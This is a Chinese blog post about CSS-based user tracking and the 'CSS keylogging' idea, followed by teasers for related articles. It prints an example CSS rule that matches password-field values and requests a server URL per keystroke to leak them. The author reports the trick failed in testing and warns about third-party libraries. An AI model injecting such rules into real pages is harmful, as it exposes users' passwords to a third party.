CSS选择器引起的一些思考

wudengzan 发布于2019-08-29 16:39 / 1626人阅读

摘要：随着这个思路，我自己尝试了一下构造选择器去匹配用户的输入，选择器语法参考另外在的帮助下也找到了用来获取按键输入的脚本，其实想法都差不多，脚本传送门搜到的版本。

今天在看技术博客的时候发现这个帖子，感觉挺有趣的，于是就去挖了一下，问题已经是老问题，但是还是有很多值得注意和学习的地方。

原文帖是仅用CSS实现网页追踪分析,主要讲的是通过CSS来记录用户的交互操作和获取一些基本信息。我的第一感觉就是可以用来做推荐系统的用户交互记录，通过这种方式能够记录用户鼠标在哪些元素上悬停的时间，以及点击的操作，等等。

浏览器熏染HTML文件是从上而下渲染的(需要加载完.css文件之后才会继续向下渲染)，要是加入许多这些追踪用户样式的代码可能会影响页面的加载效率，但是要是有目的性的去使用这些功能，或许就比较值得了，比如说记录用户的按键输入。

随着这个思路，我自己尝试了一下构造CSS选择器去匹配用户的输入，CSS选择器语法参考,另外在Google的帮助下也找到了用来获取按键输入的CSS脚本，其实想法都差不多，脚本传送门-搜到的版本 CSS-Keylogging。

主要思路是通过类似input[type="password"][value$="x"]{ background-image: url("http://localhost:3000/x"); }的方式来进行获取按键，意思就是input标签的type值为password的input中将value以x结尾的背景设置为url所指向的背景，但其实这个url不是图片背景而是一个指向传送按键信息的链接。之后你懂得通过服务端获取url中的path就能取到值了。然后对每个按键到设置一个CSS脚本即可。

但其实这种方式我尝试了很多次没有成功，浏览器不会主动将input中输入的值存在value中，所以CSS匹配的一直是初始化状态下的value属性值，只有那些将value同步的框架才可能引发这些危害。

但是有一点可以确认，可以通过css中地url发送get请求。这让我想到jsonp的原理，通过像构造类似script标签中地src属性的方式来解决跨域问题，要是不注意第三方库，很可能也存在这种恶意脚本的加载。

超融合服务器专线服务 css选择器基础选择器css html的编写器选择人工智能引起的

文章版权归作者所有，未经允许请勿转载,若此文章存在违规行为，您可以联系管理员删除。

转载请注明本文地址：https://www.ucloud.cn/yun/113890.html

CSS选择器引起的一些思考

摘要：随着这个思路，我自己尝试了一下构造选择器去匹配用户的输入，选择器语法参考另外在的帮助下也找到了用来获取按键输入的脚本，其实想法都差不多，脚本传送门搜到的版本。今天在看技术博客的时候发现这个帖子，感觉挺有趣的，于是就去挖了一下，问题已经是老问题，但是还是有很多值得注意和学习的地方。 showImg(https://segmentfault.com/img/bVbgudI?w=685&h...

NervosNetwork 2019-08-23 11:46 评论0 收藏0
IMWeb前端提升营七天学习总结

摘要：写在前面月到这天，前端提升营，腾讯大佬们分享个人经验，使出各种前端方面的大招。并且减轻服务器的负担，的原则是按需取数据，可以最大程度的减少冗余请求和响应对服务器造成的负担。控制表单控件的禁用状态。写在前面 5月24到30这7天，IMWeb前端提升营，腾讯大佬们分享个人经验，使出各种前端方面的大招。从中学习了很多前端方面的知识，也get到了前端学习的方法论，还有一些算法知识等等。现将...

mating 2019-08-20 16:59 评论0 收藏0
IMWeb前端提升营七天学习总结

摘要：写在前面月到这天，前端提升营，腾讯大佬们分享个人经验，使出各种前端方面的大招。并且减轻服务器的负担，的原则是按需取数据，可以最大程度的减少冗余请求和响应对服务器造成的负担。控制表单控件的禁用状态。写在前面 5月24到30这7天，IMWeb前端提升营，腾讯大佬们分享个人经验，使出各种前端方面的大招。从中学习了很多前端方面的知识，也get到了前端学习的方法论，还有一些算法知识等等。现将...

luxixing 2019-08-05 11:21 评论0 收藏0
突破css选择器的局限，实现一个css地址选择器?

摘要：后代选择器，可以选择子元素，却没法选择父元素。这里说的有关联指的是相近或者相反，比如子选择器和后代选择器就是比较相近的如果要实现鼠标相关的功能，可能就会联想到等选择器。首先看一个效果，注意地址栏的变化 showImg(https://segmentfault.com/img/remote/1460000016937042?w=1058&h=433); 然后思考一下，用css如何实现？...

warnerwu 2019-08-02 11:56 评论0 收藏0
突破css选择器的局限，实现一个css地址选择器?

摘要：后代选择器，可以选择子元素，却没法选择父元素。这里说的有关联指的是相近或者相反，比如子选择器和后代选择器就是比较相近的如果要实现鼠标相关的功能，可能就会联想到等选择器。首先看一个效果，注意地址栏的变化 showImg(https://segmentfault.com/img/remote/1460000016937042?w=1058&h=433); 然后思考一下，用css如何实现？...

afishhhhh 2019-08-29 17:12 评论0 收藏0